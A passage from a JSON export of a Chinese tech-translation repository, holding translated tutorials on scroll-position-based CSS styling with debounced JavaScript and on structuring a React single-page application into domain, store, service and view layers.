    "content": "> * 原文地址：[Applying Styles Based on the User Scroll Position with Smart CSS](https://pqina.nl/blog/applying-styles-based-on-the-user-scroll-position-with-smart-css/)\n> * 原文作者：[Rik Schennink](https://twitter.com/intent/follow?original_referer=https%3A%2F%2Fpqina.nl%2Fblog%2Fapplying-styles-based-on-the-user-scroll-position-with-smart-css%2F&ref_src=twsrc%5Etfw&region=follow_link&screen_name=rikschennink&tw_p=followbutton)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/applying-styles-based-on-the-user-scroll-position-with-smart-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/applying-styles-based-on-the-user-scroll-position-with-smart-css.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[ScDadaguo](https://github.com/ScDadaguo)\n\n# 使用智能 CSS 基于用户滚动位置应用样式\n\n通过将当前滚动偏移量添加到到 `html` 元素的属性上，我们可以根据当前滚动位置设置页面上的元素样式。我们可以使用它来构建一个浮动在页面顶部的导航组件。\n\n这是我们将使用的 HTML，`<header>` 组件是我们希望当我们向下滚动时，始终浮动在页面顶部的一个组件。\n\n```\n<header>I'm the page header</header>\n<p>Lot's of content here...</p>\n<p>More beautiful content...</p>\n<p>Content...</p>\n```\n\n首先，我们将监听 `document` 上的 `'scroll'` 事件，并且每次用户滚动时我们都会取出当前的 `scrollY` 值。\n\n```\ndocument.addEventListener('scroll', () => {\n  document.documentElement.dataset.scroll = window.scrollY;\n});\n```\n\n我们将滚动位置存储在 `html` 元素的数据属性中。如果您使用开发工具查看 DOM，它将如下所示：`<html data-scroll=\"0\">`\n\n现在我们可以使用此属性来设置页面上的元素样式。\n\n```\n/* 保证 header标签始终高于 3em */\nheader {\n  min-height: 3em;\n  width: 100%;\n  background-color: #fff;\n}\n\n/* 在页面顶部保留与 header 的 min-height 相同的高度 */\nhtml:not([data-scroll='0']) body {\n  padding-top: 3em;\n}\n\n/* 将 header 标签切换成 fixed 定位模式，并且将它固定在页面顶部 */\nhtml:not([data-scroll='0']) header {\n  position: fixed;\n  top: 0;\n  z-index: 1;\n\n  /* box-shadow 属性能够增强浮动的效果 */\n  box-shadow: 0 0 .5em rgba(0, 0, 0, .5);\n}\n```\n\n基本上就是这样，当用户向下滚动时，header 标签将自动从页面中分离并浮动在内容之上。JavaScript 代码并不关心这一点，它的任务就是将滚动偏移量放在数据属性中。这很完美，因为 JavaScript 和 CSS 之间没有紧密耦合。\n\n但仍有一些可以改进的地方，主要是在性能方面。\n\n首先，我们必须修改 JavaScript 脚本，以适应页面加载时滚动位置不在顶部的情况。在这样的情况下，header 标签将呈现错误的样式。\n\n页面加载时，我们必须快速获取当前的滚动偏移量，这样确保了我们始终与当前的页面的状态同步。\n\n```\n// 读出当前页面的滚动位置并将其存入 document 的 data 属性中\n// 因此我们就可以在我们的样式表中使用它\nconst storeScroll = () => {\n  document.documentElement.dataset.scroll = window.scrollY;\n}\n\n// 监听滚动事件\ndocument.addEventListener('scroll', storeScroll);\n\n// 第一次打开页面时就更新滚动位置\nstoreScroll();\n```\n\n接下来我们将看一些性能方面改进。如果我们想要获取 `scrollY` 滚动位置，浏览器将必须计算页面上每个元素的位置，以确保它返回正确的位置。如果我们不强制它每次滚动都取值才是最好的做法。\n\n要做到这一点，我们需要一个 debounce（防抖动）方法，这个方法会将我们的取值请求加入一个队列中，在浏览器准备好绘制下一帧之前都不会重新取值，此时它已经计算出了页面上所有元素的位置，所以它不会不断重复相同的工作。\n\n```\n// 防抖动函数接受一个我们自定义的函数作为参数\nconst debounce = (fn) => {\n\n  // 这包含了对 requestAnimationFrame 的引用，所以我们可以在我们希望的任何时候停止它\n  let frame;\n  \n  // 防抖动函数将返回一个可以接受多个参数的新函数\n  return (...params) => {\n    \n    // 如果 frame 的值存在，那就清除对应的回调\n    if (frame) { \n      cancelAnimationFrame(frame);\n    }\n\n    // 使我们的回调在浏览器下一帧刷新时执行\n    frame = requestAnimationFrame(() => {\n      \n      // 执行我们的自定义函数并传递我们的参数\n      fn(...params);\n    });\n\n  } \n};\n\n// Reads out the scroll position and stores it in the data attribute\n// so we can use it in our stylesheets\nconst storeScroll = () => {\n  document.documentElement.dataset.scroll = window.scrollY;\n}\n\n// Listen for new scroll events, here we debounce our `storeScroll` function\ndocument.addEventListener('scroll', debounce(storeScroll));\n\n// Update scroll position for first time\nstoreScroll();\n```\n\n通过标记事件为 `passive` 状态，我们可以告诉浏览器我们的滚动事件不会被触摸交互阻止（例如与谷歌地图等插件交互时）。这允许浏览器立即滚动页面，因为它现在知道该事件不会被阻止。\n\n```\ndocument.addEventListener('scroll', debounce(storeScroll), { passive: true });\n```\n\n解决了性能问题后，我们现在可以通过稳定的方式使用 JavaScript 将获取的数据提供给 CSS，并可以使用它来为页面上的元素添加样式。\n\n[Live Demo on CodePen](https://codepen.io/rikschennink/pen/yZYbwQ)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/architecting-single-page-applications.md",
    "content": "> * 原文地址：[The 4 Layers of Single Page Applications You Need to Know](https://hackernoon.com/architecting-single-page-applications-b842ea633c2e)\n> * 原文作者：[Daniel Dughila](https://hackernoon.com/@danieldughila?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/architecting-single-page-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO1/architecting-single-page-applications.md)\n> * 译者：[zwwill 木羽](https://github.com/zwwill)\n> * 校对者：[Starriers](https://github.com/Starriers)，[NoName4Me](https://github.com/NoName4Me)\n\n# 关于 SPA，你需要掌握的 4 层\n\n## 我们从头来构建一个 React 的应用程序，探究领域、存储、应用服务和视图这四层\n\n![](https://cdn-images-1.medium.com/max/800/1*5aa2cNrij2fVO0rZTJCZHQ.png)\n\n每个成功的项目都需要一个清晰的架构，这对于所有团队成员都是心照不宣的。\n\n试想一下，作为团队的新人。技术负责人给你介绍了在项目进程中提出的新应用程序的架构。\n\n![](https://cdn-images-1.medium.com/max/800/1*6wpX8u_mM8Z1xdZVMFj67w.png)\n\n然后告诉你需求：\n\n> 我们的应用程序将显示一系列文章。用户能够创建、删除和收藏文章。\n\n然后他说，去做吧！\n\n### Ok，没问题，我们来搭框架吧\n\n我选择 FaceBook 开源的构建工具 [Create React App](https://github.com/facebook/create-react-app)，使用 [Flow](https://flow.org) 来进行类型检查。简单起见，先忽略样式。\n\n作为先决条件，让我们讨论一下现代框架的声明性本质，以及涉及到的 state 概念。\n\n### 现在的框架多为声明式的\n\nReact， Angular， Vue 都是声明式的，并鼓励我们使用函数式编程的思想。\n\n你有见过手翻书吗？\n\n> 一本手翻书或电影书，里面有一系列逐页变化的图片，当页面快速翻页的时候，就形成了动态的画面。 [1]\n\n![](https://cdn-images-1.medium.com/max/800/1*YC8GwZboKkBFfJI8cRzUnQ.jpeg)\n\n现在让我们来看一下 React 中的定义：\n\n> 在应用程序中为每个状态设计简单的视图， React 会在数据发生变化时高效地更新和渲染正确的组件。 [2]\n\nAngular 中的定义：\n\n> 使用简单、声明式的模板快速构建特性。使用您自己的组件扩展模板语言。 [3]\n\n大同小异？\n\n框架帮助我们构建包含视图的应用程序。视图是状态的表象。那状态又是什么？\n\n### 状态\n\n状态表示应用程序中会更改的所有数据。\n\n你访问一个URL，这是状态，发出一个 Ajax 请求来获取电影列表，这是也状态，将信息持久化到本地存储，同上，也是状态。\n\n状态由一系列**不变对象**组成\n\n[不可变结构](http://enterprisecraftsmanship.com/2016/05/12/immutable-architecture)有很多好处，其中一个就是在视图层。\n\n下面是 React 指南对[性能优化](https://reactjs.org/docs/optimizing-performance.html)介绍的引言。\n\n> 不变性使得跟踪更改变得更容易。更改总是会产生一个新对象，所以我们只需要检查对象的引用是否发生了更改。\n\n### 领域层\n\n域可以描述状态并保存业务逻辑。它是应用程序的核心，应该与视图层解耦。Angular， React 或者是 Vue，这些都不重要，重要的是不管选择什么框架，我们都能够使用自己的领。\n\n![](https://cdn-images-1.medium.com/max/800/1*iNmdhMwXJ53tv0fyhhpmmw.png)\n\n因为我们处理的是不可变的结构，所以我们的领域层将包含实体和域服务。\n\n在 OOP 中存在争议，特别是在大规模应用程序中，在使用不可变数据时，贫血模型是完全可以接受的。\n\n> 对我来说，弗拉基米尔·克里科夫（Vladimir Khorikov）的[这门课](https://www.pluralsight.com/courses/refactoring-anemic-domain-model)让我大开眼界。\n\n要显示文章列表，我们首先要建模的是**Article**实体。\n\n所有 **Article** 类型实体的未来对象都是不可变的。Flow 可以通过使所有属性只读（属性前面带 + 号）来强制将对象不可变。\n\n```\n// @flow\nexport type Article = {\n  +id: string;\n  +likes: number;\n  +title: string;\n  +author: string;\n}\n```\n\n现在，让我们使用工厂函数模式创建 **articleService**。\n\n> 查看 @mpjme 的这个[视频](https://www.youtube.com/watch?v=ImwrezYhw4w)，了解更多关于JS中的工厂函数知识。\n\n由于在我们的应用程序中只需要一个**articleService**，我们将把它导出为一个单例。\n\n**createArticle** 允许我们创建 **Article** 的[冻结对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)。每一篇新文章都会有一个唯一的自动生成的id和零收藏，我们仅需要提供作者和标题。\n\n> `**Object.freeze()**` 方法可冻结一个对象：即无法给它新增属性。 [5]\n\n**createArticle** 方法返回的是一个 **Article** 的「Maybe」类型\n\n> [Maybe](https://flow.org/en/docs/types/maybe) 类型强制你在操作 **Article** 对象前先检查它是否存在。\n\n如果创建文章所需要的任一字段校验失败，那么 **createArticle** 方法将返回null。这里可能有人会说，最好抛出一个用户定义的异常。如果我们这么做，但上层不实现catch块，那么程序将在运行时终止。\n**updateLikes** 方法会帮我们更新现存文章的收藏数，将返回一个拥有新计数的副本。\n\n最后，**isTitleValid** 和 **isAuthorValid** 方法能帮助 **createArticle** 隔离非法数据。\n\n```\n// @flow\nimport v1 from 'uuid';\nimport * as R from 'ramda';\n\nimport type {Article} from \"./Article\";\nimport * as validators from \"./Validators\";\n\nexport type ArticleFields = {\n  +title: string;\n  +author: string;\n}\n\nexport type ArticleService = {\n  createArticle(articleFields: ArticleFields): ?Article;\n  updateLikes(article: Article, likes: number): Article;\n  isTitleValid(title: string): boolean;\n  isAuthorValid(author: string): boolean;\n}\n\nexport const createArticle = (articleFields: ArticleFields): ?Article => {\n  const {title, author} = articleFields;\n  return isTitleValid(title) && isAuthorValid(author) ?\n    Object.freeze({\n      id: v1(),\n      likes: 0,\n      title,\n      author\n    }) :\n    null;\n};\n\nexport const updateLikes = (article: Article, likes: number) =>\n  validators.isObject(article) ?\n    Object.freeze({\n      ...article,\n      likes\n    }) :\n    article;\n\nexport const isTitleValid = (title: string) =>\n  R.allPass([\n    validators.isString,\n    validators.isLengthGreaterThen(0)\n  ])(title);\n\nexport const isAuthorValid = (author: string) =>\n  R.allPass([\n    validators.isString,\n    validators.isLengthGreaterThen(0)\n  ])(author);\n\nexport const ArticleServiceFactory = () => ({\n  createArticle,\n  updateLikes,\n  isTitleValid,\n  isAuthorValid\n});\n\nexport const articleService = ArticleServiceFactory();\n```\n\n验证对于保持数据一致性非常重要，特别是在领域级别。我们可以用纯函数来编写 **Validators** 服务。\n\n\n```\n// @flow\nexport const isObject = (toValidate: any) => !!(toValidate && typeof toValidate === 'object');\n\nexport const isString = (toValidate: any) => typeof toValidate === 'string';\n\nexport const isLengthGreaterThen = (length: number) => (toValidate: string) => toValidate.length > length;\n```\n\n请使用最小的工程来检验这些验证方法，仅用于演示。\n\n> 事实上，在 JavaScript 中检验一个对象是否为对象并不容易。 :)\n\n现在我们有了领域层的结构!\n\n好在现在就可以使用我们的代码来，而无需考虑框架。\n\n让我们来看一下如何使用 **articleService** 创建一篇关于我最喜欢的书的文章，并更新它的收藏数。\n\n```\n// @flow\nimport {articleService} from \"../domain/ArticleService\";\n\nconst article = articleService.createArticle({\n  title: '12 rules for life',\n  author: 'Jordan Peterson'\n});\nconst incrementedArticle = article ? articleService.updateLikes(article, 4) : null;\n\nconsole.log('article', article);\n/*\n   const itWillPrint = {\n     id: \"92832a9a-ec55-46d7-a34d-870d50f191df\",\n     likes: 0,\n     title: \"12 rules for life\",\n     author: \"Jordan Peterson\"\n   };\n */\n\nconsole.log('incrementedArticle', incrementedArticle);\n/*\n   const itWillPrintUpdated = {\n     id: \"92832a9a-ec55-46d7-a34d-870d50f191df\",\n     likes: 4,\n     title: \"12 rules for life\",\n     author: \"Jordan Peterson\"\n   };\n */\n```\n\n### 存储层\n\n创建和更新文章所产生的数据代表了我们的应用程序的状态。\n\n我们需要一个地方来储存这些数据，而 store 就是最佳人选\n\n![](https://cdn-images-1.medium.com/max/800/1*h8IDykExd_PhCBhKYr9e0Q.png)\n\n状态可以很容易地由一系列文章来建模。\n\n```\n// @flow\nimport type {Article} from \"./Article\";\n\nexport type ArticleState = Article[];\n```\n\nArticleState.js\n\n**ArticleStoreFactory** 实现了发布-订阅模式，并导出 **articleStore** 作为单例。\n\nstore 可保存文章并赋予他们添加、删除和更新的不可变操作。\n\n> 记住，store 只对文章进行操作。只有 **articleService** 才能创建或更新它们。\n\n感兴趣的人可以订阅和退订 **articleStore**。\n\n**articleStore** 保存所有订阅者的列表，并将每个更改通知到他们。\n\n```\n// @flow\nimport {update} from \"ramda\";\n\nimport type {Article} from \"../domain/Article\";\nimport type {ArticleState} from \"./ArticleState\";\n\nexport type ArticleStore = {\n  addArticle(article: Article): void;\n  removeArticle(article: Article): void;\n  updateArticle(article: Article): void;\n  subscribe(subscriber: Function): Function;\n  unsubscribe(subscriber: Function): void;\n}\n\nexport const addArticle = (articleState: ArticleState, article: Article) => articleState.concat(article);\n\nexport const removeArticle = (articleState: ArticleState, article: Article) =>\n  articleState.filter((a: Article) => a.id !== article.id);\n\nexport const updateArticle = (articleState: ArticleState, article: Article) => {\n  const index = articleState.findIndex((a: Article) => a.id === article.id);\n  return update(index, article, articleState);\n};\n\nexport const subscribe = (subscribers: Function[], subscriber: Function) =>\n  subscribers.concat(subscriber);\n\nexport const unsubscribe = (subscribers: Function[], subscriber: Function) =>\n  subscribers.filter((s: Function) => s !== subscriber);\n\nexport const notify = (articleState: ArticleState, subscribers: Function[]) =>\n  subscribers.forEach((s: Function) => s(articleState));\n\nexport const ArticleStoreFactory = (() => {\n  let articleState: ArticleState = Object.freeze([]);\n  let subscribers: Function[] = Object.freeze([]);\n\n  return {\n    addArticle: (article: Article) => {\n      articleState = addArticle(articleState, article);\n      notify(articleState, subscribers);\n    },\n    removeArticle: (article: Article) => {\n      articleState = removeArticle(articleState, article);\n      notify(articleState, subscribers);\n    },\n    updateArticle: (article: Article) => {\n      articleState = updateArticle(articleState, article);\n      notify(articleState, subscribers);\n    },\n    subscribe: (subscriber: Function) => {\n      subscribers = subscribe(subscribers, subscriber);\n      return subscriber;\n    },\n    unsubscribe: (subscriber: Function) => {\n      subscribers = unsubscribe(subscribers, subscriber);\n    }\n  }\n});\n\nexport const articleStore = ArticleStoreFactory();\n```\n\n[ArticleStore.js](https://gist.github.com/intojs/3acd875bf72c42c559e80e0495039bb5#file-articlestorefactory-js)\n\n我们的 store 实现对于演示的目的是有意义的，它让我们理解背后的概念。在实际运作中，我推荐使用状态管理系统，像 [Redux](https://redux.js.org/)， [ngrx](https://github.com/ngrx)， [MobX](https://github.com/mobxjs/mobx)， 或者是[可监控的数据管理系统](https://medium.com/bucharestjs/the-developers-guide-to-redux-like-state-management-in-angular-3799f1877bb)\n\n好的，现在我们有了领域层和存储层的结构。\n\n让我们为 store 创建两篇文章和两个订阅者，并观察订阅者如何获得更改通知。\n\n```\n// @flow\nimport type {ArticleState} from \"../store/ArticleState\";\nimport {articleService} from \"../domain/ArticleService\";\nimport {articleStore} from \"../store/ArticleStore\";\n\nconst article1 = articleService.createArticle({\n  title: '12 rules for life',\n  author: 'Jordan Peterson'\n});\n\nconst article2 = articleService.createArticle({\n  title: 'The Subtle Art of Not Giving a F.',\n  author: 'Mark Manson'\n});\n\nif (article1 && article2) {\n  const subscriber1 = (articleState: ArticleState) => {\n    console.log('subscriber1, articleState changed: ', articleState);\n  };\n\n  const subscriber2 = (articleState: ArticleState) => {\n    console.log('subscriber2, articleState changed: ', articleState);\n  };\n\n  articleStore.subscribe(subscriber1);\n  articleStore.subscribe(subscriber2);\n\n  articleStore.addArticle(article1);\n  articleStore.addArticle(article2);\n\n  articleStore.unsubscribe(subscriber2);\n\n  const likedArticle2 = articleService.updateLikes(article2, 1);\n  articleStore.updateArticle(likedArticle2);\n\n  articleStore.removeArticle(article1);\n}\n```\n\n### 应用服务层\n\n这一层用于执行与状态流相关的各种操作，如Ajax从服务器或状态镜像中获取数据。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZVstPN2LBFjdPoRaFq4SEw.png)\n\n出于某种原因，设计师要求所有作者的名字都是大写的。\n\n我们知道这种要求是比较无厘头的，而且我们并不想因此污化了我们的模块。\n\n于是我们创建了 **ArticleUiService** 来处理这些特性。这个服务将取用一个状态，就是作者的名字，将其构建到项目中，可返回大写的版本给调用者。\n\n```\n// @flow\nexport const displayAuthor = (author: string) => author.toUpperCase();\n```\n\n让我们看一个如何使用这个服务的演示！\n\n```\n// @flow\nimport {articleService} from \"../domain/ArticleService\";\nimport * as articleUiService from \"../services/ArticleUiService\";\n\nconst article = articleService.createArticle({\n  title: '12 rules for life',\n  author: 'Jordan Peterson'\n});\n\nconst authorName = article ?\n  articleUiService.displayAuthor(article.author) :\n  null;\n\nconsole.log(authorName);\n// 将输出 JORDAN PETERSON\n\nif (article) {\n  console.log(article.author);\n  // 将输出 Jordan Peterson\n}\n```\n\napp-service-demo.js\n\n### 视图层\n\n现在我们有了一个可执行且不依赖于框架的应用程序，React 已经准备投入使用。\n\n视图层由 `presentational components` 和 `container components` 组成。\n\n`presentational components` 关注事物的外观，而 `container components` 则关注事物的工作方式。更多细节解释请关注 Dan Abramov 的[文章](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0)。\n\n![](https://cdn-images-1.medium.com/max/800/1*R-6nKbTqru_qsdg8O7PJJg.png)\n\n让我们使用 **ArticleFormContainer** 和 **ArticleListContainer** 开始构建 **App** 组件。\n\n```\n// @flow\nimport React, {Component} from 'react';\n\nimport './App.css';\n\nimport {ArticleFormContainer} from \"./components/ArticleFormContainer\";\nimport {ArticleListContainer} from \"./components/ArticleListContainer\";\n\ntype Props = {};\n\nclass App extends Component<Props> {\n  render() {\n    return (\n      <div className=\"App\">\n        <ArticleFormContainer/>\n        <ArticleListContainer/>\n      </div>\n    );\n  }\n}\n\nexport default App;\n```\n\n接下来，我们来创建 **ArticleFormContainer**。React 或者 Angular 都不重要，表单有些复杂。\n\n> 查看 [Ramda](http://ramdajs.com) 库以及如何增强我们代码的声明性质的方法。\n\n表单接受用户输入并将其传递给 **articleService** 处理。此服务根据该输入创建一个 **Article**，并将其添加到 **ArticleStore** 中以供 interested 组件使用它。所有这些逻辑都存储在 **submitForm** 方法中。\n\n『ArticleFormContainer.js』\n\n```\n// @flow\nimport React, {Component} from 'react';\nimport * as R from 'ramda';\n\nimport type {ArticleService} from \"../domain/ArticleService\";\nimport type {ArticleStore} from \"../store/ArticleStore\";\nimport {articleService} from \"../domain/ArticleService\";\nimport {articleStore} from \"../store/ArticleStore\";\nimport {ArticleFormComponent} from \"./ArticleFormComponent\";\n\ntype Props = {};\n\ntype FormField = {\n  value: string;\n  valid: boolean;\n}\n\nexport type FormData = {\n  articleTitle: FormField;\n  articleAuthor: FormField;\n};\n\nexport class ArticleFormContainer extends Component<Props, FormData> {\n  articleStore: ArticleStore;\n  articleService: ArticleService;\n\n  constructor(props: Props) {\n    super(props);\n\n    this.state = {\n      articleTitle: {\n        value: '',\n        valid: true\n      },\n      articleAuthor: {\n        value: '',\n        valid: true\n      }\n    };\n\n    this.articleStore = articleStore;\n    this.articleService = articleService;\n  }\n\n  changeArticleTitle(event: Event) {\n    this.setState(\n      R.assocPath(\n        ['articleTitle', 'value'],\n        R.path(['target', 'value'], event)\n      )\n    );\n  }\n\n  changeArticleAuthor(event: Event) {\n    this.setState(\n      R.assocPath(\n        ['articleAuthor', 'value'],\n        R.path(['target', 'value'], event)\n      )\n    );\n  }\n\n  submitForm(event: Event) {\n    const articleTitle = R.path(['target', 'articleTitle', 'value'], event);\n    const articleAuthor = R.path(['target', 'articleAuthor', 'value'], event);\n\n    const isTitleValid = this.articleService.isTitleValid(articleTitle);\n    const isAuthorValid = this.articleService.isAuthorValid(articleAuthor);\n\n    if (isTitleValid && isAuthorValid) {\n      const newArticle = this.articleService.createArticle({\n        title: articleTitle,\n        author: articleAuthor\n      });\n      if (newArticle) {\n        this.articleStore.addArticle(newArticle);\n      }\n      this.clearForm();\n    } else {\n      this.markInvalid(isTitleValid, isAuthorValid);\n    }\n  };\n\n  clearForm() {\n    this.setState((state) => {\n      return R.pipe(\n        R.assocPath(['articleTitle', 'valid'], true),\n        R.assocPath(['articleTitle', 'value'], ''),\n        R.assocPath(['articleAuthor', 'valid'], true),\n        R.assocPath(['articleAuthor', 'value'], '')\n      )(state);\n    });\n  }\n\n  markInvalid(isTitleValid: boolean, isAuthorValid: boolean) {\n    this.setState((state) => {\n      return R.pipe(\n        R.assocPath(['articleTitle', 'valid'], isTitleValid),\n        R.assocPath(['articleAuthor', 'valid'], isAuthorValid)\n      )(state);\n    });\n  }\n\n  render() {\n    return (\n      <ArticleFormComponent\n        formData={this.state}\n        submitForm={this.submitForm.bind(this)}\n        changeArticleTitle={(event) => this.changeArticleTitle(event)}\n        changeArticleAuthor={(event) => this.changeArticleAuthor(event)}\n      />\n    )\n  }\n}\n```\n\n这里注意 **ArticleFormContainer**，`presentational component`，返回用户看到的真实表单。该组件显示容器传递的数据，并抛出 **changeArticleTitle**、 **changeArticleAuthor** 和 **submitForm** 的方法。\n\n『[ArticleFormComponent.js](https://gist.github.com/intojs/4a41a3817de53c9c8767d11d96d61d79)』\n\n```\n// @flow\nimport React from 'react';\n\nimport type {FormData} from './ArticleFormContainer';\n\ntype Props = {\n  formData: FormData;\n  changeArticleTitle: Function;\n  changeArticleAuthor: Function;\n  submitForm: Function;\n}\n\nexport const ArticleFormComponent = (props: Props) => {\n  const {\n    formData,\n    changeArticleTitle,\n    changeArticleAuthor,\n    submitForm\n  } = props;\n\n  const onSubmit = (submitHandler) => (event) => {\n    event.preventDefault();\n    submitHandler(event);\n  };\n\n  return (\n    <form\n      noValidate\n      onSubmit={onSubmit(submitForm)}\n    >\n      <div>\n        <label htmlFor=\"article-title\">Title</label>\n        <input\n          type=\"text\"\n          id=\"article-title\"\n          name=\"articleTitle\"\n          autoComplete=\"off\"\n          value={formData.articleTitle.value}\n          onChange={changeArticleTitle}\n        />\n        {!formData.articleTitle.valid && (<p>Please fill in the title</p>)}\n      </div>\n      <div>\n        <label htmlFor=\"article-author\">Author</label>\n        <input\n          type=\"text\"\n          id=\"article-author\"\n          name=\"articleAuthor\"\n          autoComplete=\"off\"\n          value={formData.articleAuthor.value}\n          onChange={changeArticleAuthor}\n        />\n        {!formData.articleAuthor.valid && (<p>Please fill in the author</p>)}\n      </div>\n      <button\n        type=\"submit\"\n        value=\"Submit\"\n      >\n        Create article\n      </button>\n    </form>\n  )\n};\n```\n\n现在我们有了创建文章的表单，下面就陈列他们吧。**ArticleListContainer** 订阅了 **ArticleStore**，获取所有的文章并展示在 **ArticleListComponent** 中。\n\n『ArticleListContainer.js』\n\n```\n// @flow\nimport * as React from 'react'\n\nimport type {Article} from \"../domain/Article\";\nimport type {ArticleStore} from \"../store/ArticleStore\";\nimport {articleStore} from \"../store/ArticleStore\";\nimport {ArticleListComponent} from \"./ArticleListComponent\";\n\ntype State = {\n  articles: Article[]\n}\n\ntype Props = {};\n\nexport class ArticleListContainer extends React.Component<Props, State> {\n  subscriber: Function;\n  articleStore: ArticleStore;\n\n  constructor(props: Props) {\n    super(props);\n    this.articleStore = articleStore;\n    this.state = {\n      articles: []\n    };\n    this.subscriber = this.articleStore.subscribe((articles: Article[]) => {\n      this.setState({articles});\n    });\n  }\n\n  componentWillUnmount() {\n    this.articleStore.unsubscribe(this.subscriber);\n  }\n\n  render() {\n    return <ArticleListComponent {...this.state}/>;\n  }\n}\n```\n\n**ArticleListComponent** 是一个 `presentational component`，他通过 `props` 接收文章，并展示组件 **ArticleContainer**。\n\n『ArticleListComponent.js』\n\n```\n// @flow\nimport React from 'react';\n\nimport type {Article} from \"../domain/Article\";\nimport {ArticleContainer} from \"./ArticleContainer\";\n\ntype Props = {\n  articles: Article[]\n}\n\nexport const ArticleListComponent = (props: Props) => {\n  const {articles} = props;\n  return (\n    <div>\n      {\n        articles.map((article: Article, index) => (\n          <ArticleContainer\n            article={article}\n            key={index}\n          />\n        ))\n      }\n    </div>\n  )\n};\n```\n\n**ArticleContainer** 传递文章数据到表现层的 **ArticleComponent**，同时实现 **likeArticle** 和 **removeArticle** 这两个方法。\n\n**likeArticle** 方法负责更新文章的收藏数，通过将现存的文章替换成更新后的副本。\n\n**removeArticle** 方法负责从 `store` 中删除制定文章。\n\n『ArticleContainer.js』\n\n```\n// @flow\nimport React, {Component} from 'react';\n\nimport type {Article} from \"../domain/Article\";\nimport type {ArticleService} from \"../domain/ArticleService\";\nimport type {ArticleStore} from \"../store/ArticleStore\";\nimport {articleService} from \"../domain/ArticleService\";\nimport {articleStore} from \"../store/ArticleStore\";\nimport {ArticleComponent} from \"./ArticleComponent\";\n\ntype Props = {\n  article: Article;\n};\n\nexport class ArticleContainer extends Component<Props> {\n  articleStore: ArticleStore;\n  articleService: ArticleService;\n\n  constructor(props: Props) {\n    super(props);\n\n    this.articleStore = articleStore;\n    this.articleService = articleService;\n  }\n\n  likeArticle(article: Article) {\n    const updatedArticle = this.articleService.updateLikes(article, article.likes + 1);\n    this.articleStore.updateArticle(updatedArticle);\n  }\n\n  removeArticle(article: Article) {\n    this.articleStore.removeArticle(article);\n  }\n\n  render() {\n    return (\n      <div>\n        <ArticleComponent\n          article={this.props.article}\n          likeArticle={(article: Article) => this.likeArticle(article)}\n          deleteArticle={(article: Article) => this.removeArticle(article)}\n        />\n      </div>\n    )\n  }\n}\n```\n\n**ArticleContainer** 负责将文章的数据传递给负责展示的 **ArticleComponent**，同时负责当 「收藏」或「删除」按钮被点击时在响应的回调中通知 `container component`。\n\n> 还记得那个作者名要大写的无厘头需求吗？\n\n**ArticleComponent** 在应用程序层调用 **ArticleUiService**，将一个状态从其原始值（没有大写规律的字符串）转换成一个所需的大写字符串。\n\n『ArticleComponent.js』\n\n```\n// @flow\nimport React from 'react';\n\nimport type {Article} from \"../domain/Article\";\nimport * as articleUiService from \"../services/ArticleUiService\";\n\ntype Props = {\n  article: Article;\n  likeArticle: Function;\n  deleteArticle: Function;\n}\n\nexport const ArticleComponent = (props: Props) => {\n  const {\n    article,\n    likeArticle,\n    deleteArticle\n  } = props;\n\n  return (\n    <div>\n      <h3>{article.title}</h3>\n      <p>{articleUiService.displayAuthor(article.author)}</p>\n      <p>{article.likes}</p>\n      <button\n        type=\"button\"\n        onClick={() => likeArticle(article)}\n      >\n        Like\n      </button>\n      <button\n        type=\"button\"\n        onClick={() => deleteArticle(article)}\n      >\n        Delete\n      </button>\n    </div>\n  );\n};\n```\n\n### 干得漂亮！\n\n我们现在有一个功能完备的 React 应用程序和一个鲁棒的、定义清晰的架构。任何新晋成员都可以通过阅读这篇文章学会如何顺利的进展我们的工作。:)\n\n你可以在[这里](https://intojs.github.io/architecting-single-page-applications/)查看我们最终实现的应用程序，同时奉上 [GitHub 仓库地址](https://github.com/intojs/architecting-single-page-applications)。\n\n如果你喜欢这份指南，请为它点赞。\n\n- [1] [https://en.wikipedia.org/wiki/Flip_book](https://en.wikipedia.org/wiki/Flip_book)\n- [2] [https://reactjs.org](https://reactjs.org/)\n- [3] [https://angular.io](https://angular.io/)\n- [4] [https://reactjs.org/docs/optimizing-performance.html](https://reactjs.org/docs/optimizing-performance.html)\n- [5] [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 